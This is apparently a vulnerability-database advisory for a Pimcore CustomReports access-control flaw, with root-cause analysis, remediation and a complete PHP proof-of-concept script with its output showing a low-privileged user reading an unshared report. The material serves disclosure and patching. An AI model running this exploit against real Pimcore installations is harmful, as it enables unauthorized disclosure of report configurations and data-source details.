Pimcore CVE-2026-45704
HIGHLifecycle Timeline
2DescriptionCVE.org
Summary
CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.
- The listing flow filters reports based on report-sharing rules
- The detail flow only checks generic
reportsorreports_configpermissions
As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.
In the local Docker reproduction:
- The report
poc-secret-reportwas not visible to the low-privileged user in the report list - The same user was still able to retrieve the report configuration directly by name
Root Cause
The listing flow in getReportConfigAction() filters reports through loadForGivenUser():
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)
- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)
- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)
However, getAction() only checks generic permissions and then loads the report directly by name:
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)
This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.
Impact
An attacker can read sensitive report metadata without authorization, including:
- Report name
- Grouping information
- Display and icon metadata
- Data source configuration
- Column configuration
- Sharing settings
From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)
This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
reportspermission - The target report is not globally shared and is not shared with that user or the user's roles
PoC
<?php
declare(strict_types=1);
use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_customreports');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_customreports');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
$auditor->setPermissions(['reports']);
$auditor->setRoles([]);
$auditor->save();
$timestamp = time();
SettingsStore::set(
'poc-secret-report',
json_encode([
'name' => 'poc-secret-report',
'niceName' => 'PoC Secret Report',
'group' => 'Audit',
'dataSourceConfig' => [['type' => 'sql']],
'columnConfiguration' => [],
'shareGlobally' => false,
'sharedUserNames' => ['admin'],
'sharedRoleNames' => [],
'menuShortcut' => true,
'creationDate' => $timestamp,
'modificationDate' => $timestamp,
], JSON_THROW_ON_ERROR),
SettingsStore::TYPE_STRING,
'pimcore_custom_reports'
);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new CustomReportController(), $container, $tokenResolver);
$listRequest = new Request();
$requestStack->push($listRequest);
$listResponse = $controller->getReportConfigAction($listRequest);
$requestStack->pop();
$listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$getRequest = new Request(['name' => 'poc-secret-report']);
$requestStack->push($getRequest);
$getResponse = $controller->getAction($getRequest);
$requestStack->pop();
$getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);
echo json_encode([
'vulnerability' => 'customreports_share_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_report' => [
'name' => 'poc-secret-report',
'shared_to' => ['admin'],
'share_globally' => false,
],
'result' => [
'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
'listed_report_names' => $listedNames,
'direct_get_returned_name' => $getData['name'] ?? null,
'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction Steps
- Create a low-privileged user named
auditor_customreportswith thereportspermission. - Create a report named
poc-secret-reportwith:
shareGlobally = falsesharedUserNames = ['admin']
- As
auditor_customreports, request the visible report list and verify thatpoc-secret-reportis absent. - As the same user, call
getAction(name=poc-secret-report)directly. - Verify that the response still contains the report configuration.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.phpReproduction Result
Relevant PoC output:
{
"vulnerability": "customreports_share_bypass",
"user": {
"name": "auditor_customreports",
"permissions": [
"reports"
]
},
"target_report": {
"name": "poc-secret-report",
"shared_to": [
"admin"
],
"share_globally": false
},
"result": {
"report_visible_in_list": false,
"listed_report_names": [],
"direct_get_returned_name": "poc-secret-report",
"direct_get_shared_user_names": [
"admin"
]
}
}This shows that:
- The current user cannot see the report in the visible report list
- The same user can still retrieve the report configuration directly
This confirms that the share-bypass issue is practically exploitable.
Security Impact
- Unauthorized disclosure of report configuration
- Disclosure of sharing scope and internal report structure
- Potential leakage of data-source and query organization details
- Useful reconnaissance for follow-on unauthorized execution or export paths
Remediation
- Add object-level sharing checks to
getAction()equivalent toloadForGivenUser(). - Centralize authorization into a single "can current user access this report?" function reused by
get,data,chart,create-csv, anddownload-csv. - Return
403for unshared reports. - Add regression tests to ensure that users with
reportspermission but without report-sharing access cannot retrieve report details.
AnalysisAI
Broken access control in Pimcore's CustomReports bundle (composer package pimcore/pimcore, versions ≤ 12.3.5) lets an authenticated low-privileged backend user who holds only the generic reports permission read the full configuration of custom reports they were never granted access to. The report detail endpoint (getAction) validates only coarse reports/reports_config permissions, whereas the listing endpoint enforces per-report sharing rules through loadForGivenUser(); consequently a report hidden from a user's visible list can still be retrieved directly by name. A working proof-of-concept is published in the vendor's GitHub Security Advisory (GHSA-jwcc-gv4m-93x6), so publicly available exploit code exists, but there is no public evidence of active exploitation.
Technical ContextAI
Pimcore is a PHP/Symfony-based digital experience and data management platform; the flaw lives in its CustomReportsBundle (CustomReportController.php and Tool/Config). The root cause is CWE-863 (Incorrect Authorization): two endpoints that resolve the same report object apply different authorization models. The listing flow filters reports through loadForGivenUser() and the DAO layer (Config/Listing/Dao.php), honoring shareGlobally, sharedUserNames, and sharedRoleNames. The detail flow loads the report directly by name after only checking the generic reports/reports_config permission, never re-applying the object-level sharing rules. The vendor patch introduces a single Config::isUserAllowed() method that re-evaluates admin status, global sharing, the reports_config permission, and shared user/role IDs, and calls it via a new assertUserCanAccessReport() guard. Notably the same diff adds this guard to getAction, dataAction, drillDownOptionsAction, chartAction, and createCsvAction, confirming that report data, charts, drill-downs, and CSV export shared the same name-based resolution weakness, not just the metadata endpoint.
RemediationAI
Vendor-released patch: 12.3.6 - upgrade the pimcore/pimcore Composer dependency to 12.3.6 or later (the fix is in PR https://github.com/pimcore/pimcore/pull/19099 and commit https://github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268e, which adds a centralized Config::isUserAllowed() check enforced on the get, data, drill-down, chart, and create-CSV endpoints). If immediate upgrade is not possible, the most effective compensating control is to tighten who holds the reports (and reports_config) backend permission, since exploitation requires an authenticated user already granted reports; revoke that permission from users who do not strictly need custom-report access (trade-off: those users lose all custom-report functionality, not just the unshared reports). Where feasible, restrict backend access to the CustomReports controller routes at a reverse-proxy or WAF layer for users that should not consume reports, and audit existing report sharing settings to confirm no sensitive data-source or query details are exposed (trade-off: route-level blocking is coarse and may break legitimate report use). Full remediation requires the code-level object authorization fix delivered in 12.3.6; refer to GHSA-jwcc-gv4m-93x6 for guidance.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-jwcc-gv4m-93x6